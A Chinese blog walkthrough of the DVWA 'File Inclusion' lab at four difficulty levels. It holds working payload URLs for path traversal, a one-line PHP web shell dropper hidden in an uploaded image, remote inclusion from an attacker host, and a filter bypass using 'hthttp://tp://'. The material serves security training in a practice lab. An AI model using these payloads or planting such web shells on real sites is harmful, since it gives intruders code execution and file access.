文件包含漏洞——DVWA靶场file inclusion实验详解


一.文件包含漏洞

1.什么是文件包含?
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。

2.文件包含漏洞的形成原因
随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变 量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。

3.文件包含漏洞简介
File Inclusion,文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
require():可以包含文件,如果包含错了,直接报错并退出程序的执行
include():在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require_once():与require类似,区别在于当重复调用同一文件时,程序只调用一次
include_once():与include类似,区别在于当重复调用同一文件时,程序只调用一次

4.文件包含漏洞类型
本地文件包含漏洞与远程文件包含漏洞
远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

5.类似
伪协议、file、phpinput://

参考文章:
https://blog.csdn.net/qq_41210745/article/details/103276849#high%E7%BA%A7%E5%88%AB%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90

二.实验环境

靶场IP:127.0.0.1

远程服务器(kali)IP:192.168.126.129

环境配置:在dvwa里第一次测试训练时,会在File Inclusion这里看到“The PHP function allow_url_include is not enabled”这个的报错提醒,这个提示告诉我们PHP函数allow_url_include还未启用.

在这里插入图片描述

查看对应PHP版本号

在这里插入图片描述

打开对应PHP版本号中的php.ini文件
修改allow_url_include,将原来的off改为on,保存,并重新刷新界面

在这里插入图片描述

重新刷新界面

在这里插入图片描述

三.LOW

1.代码审计

直接使用get方式传参,可以直接对资源进行访问,没有任何拦截

File Inclusion Source
<?php
    $file = $_GET['page']; //The page we wish to display 
?>

2.漏洞复现

(1)本地文件包含

依次点击这3个文件

在这里插入图片描述
可以看到URL中仅仅是page=后的参数发生变化
因此可以将page后的参数视为可控字段,以此进行实验

在这里插入图片描述

使用一个不存在的php文件进行测试

测试语句:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=test.php

在这里插入图片描述
可以发现还爆出了文件的路径

测试语句:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../php.ini

注:因为文件位于fi文件夹下,距离根目录还有2层,所以可以使用…/…/进行跨目录读取
在这里插入图片描述
成功回显

测试语句:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../phpinfo.php

在这里插入图片描述

这表明了文件包含不仅仅能读文件,还能执行文件,尝试从本地包含文件

先通过文件上传漏洞,传给他一个hack.jpg的图片木马,然后在使用文件包含解析他
一句话木马,当我们执行这句木马的时候,他就会创建一个shell.php的文件,里面就是一句话木马。
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>
在这里插入图片描述

复制上传路径,重新回到文件包含

测试语句:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../hackable/uploads/hack.jpg

在这里插入图片描述

程序没有报错,文件解析成功

为了验证结果,可以去靶机下的/vulnerabilities/fi进行查看,会发现增加了
shell.php文件
在这里插入图片描述

使用蚁剑进行连接

在这里插入图片描述

注:渗透思路
有时候当我们发现了一个本地的文件包含漏洞,但我们也仅仅只能去读取一些本地的文件,没有办法去进行更深层次的利用,然后又在这个网站上发现了一个文件上传漏洞,同时这个文件上传漏洞如果单个来看是比较鸡肋的,比如它做了限制,只能发送图片,而这个图片却没有做严格的限制,我们可以通过一些图片木马来绕过上传,而这两个漏洞结合一下的话,就能达到很大效果了 比如我们上传了一个图片木马,没法单独去使用,但我们可以使用文件包含漏洞,去对这个文件进行包含,也就是说两个文件互相结合进行利用

(2)远程文件包含

搭建服务器

命令:
systemctl start apache2 开启服务
systemctl status apache2 检测状态

在这里插入图片描述

在kali本地网络文件下(/var/www/html)存放hack.txt文件
在这里插入图片描述
内容:
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>

测试语句:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://192.168.126.129/hack.txt

在这里插入图片描述

没有报错,解析成功,验证shell.php是否解析成功
在这里插入图片描述

可以继续使用蚁剑进行连接,与上同,这里不做演示

在这里插入图片描述

四.Medim

1.代码审计

<?php
file=_GET[ 'page' ];
file=strreplace(array("http://","https://"),"",file );
file=strreplace(array("../","..\""),"",file );
?>

利用str_replace函数,将https://和http://替换成空
使得正常远程文件包含漏洞失效

2.漏洞复现

(1)本地包含漏洞

代码中只对远程包含添加了限制,故本地包含没有影响,做法与上同

(2)远程包含漏洞

在kali中新建一个test.txt文件 内容:111

测试语句:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://192.168.126.129/test.txt

在这里插入图片描述

网页报错,远程文件包含被php脚本阻止

调整测试语句,因为代码中过滤了http://,将头部改为hthttp://tp:// 绕过防护

测试语句:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=hthttp://tp://192.168.126.129/test.txt

文件正常访问,可以将文件替换成木马
在这里插入图片描述

五.High

1.代码审计

<?php   
    $file = $_GET['page']; //The page we wish to display 
    // Only allow include.php
    if ( !(fnmatch( "file*", $file)) && $file != "include.php" ) {
        echo "ERROR: File not found!";
        exit;
    }     
?> 

指定了白名单,只允许特定的文件执行。还增加了fnmatch()函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。

2.漏洞复现

白名单中有file*
因此可以使用file协议(文件传输协议),访问本地计算机中的木马/文件

测试语句:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file:///E:/PHP%20Study%20v8.1/PHPTutorial/WWW/DVWA/php.ini

在这里插入图片描述

正常回显,成功读取php.ini文件

至于执行任意命令,需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。

六.impossible

1.代码审计

<?php
// The page we wish to display
file=_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( file != "include.php" &&
file != "file1.php" && file != "file2.php" &&
file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
 ?>

没得救
只允许四个文件可以访问,彻底杜绝了文件包含漏洞


参考文章

  • https://blog.csdn.net/qq_42357070/article/details/82115530?biz_id=102&utm_term=dvwa%20%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-0-82115530&spm=1018.2118.3001.4187
  • https://www.cnblogs.com/Lee-404/p/12821986.html
  • https://blog.csdn.net/kirito_pio/article/details/106565478?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522160389285119725255529706%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=160389285119725255529706&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_v2~rank_v28-1-106565478.pc_first_rank_v2_rank_v28&utm_term=dvwa+%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E&spm=1018.2118.3001.4187
  • https://blog.csdn.net/Lonelyhat/article/details/90812545?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522160389285119725255529706%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=160389285119725255529706&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_v2~rank_v28-2-90812545.pc_first_rank_v2_rank_v28&utm_term=dvwa+%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E&spm=1018.2118.3001.4187

网络信息安全——ploto

  • 6
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值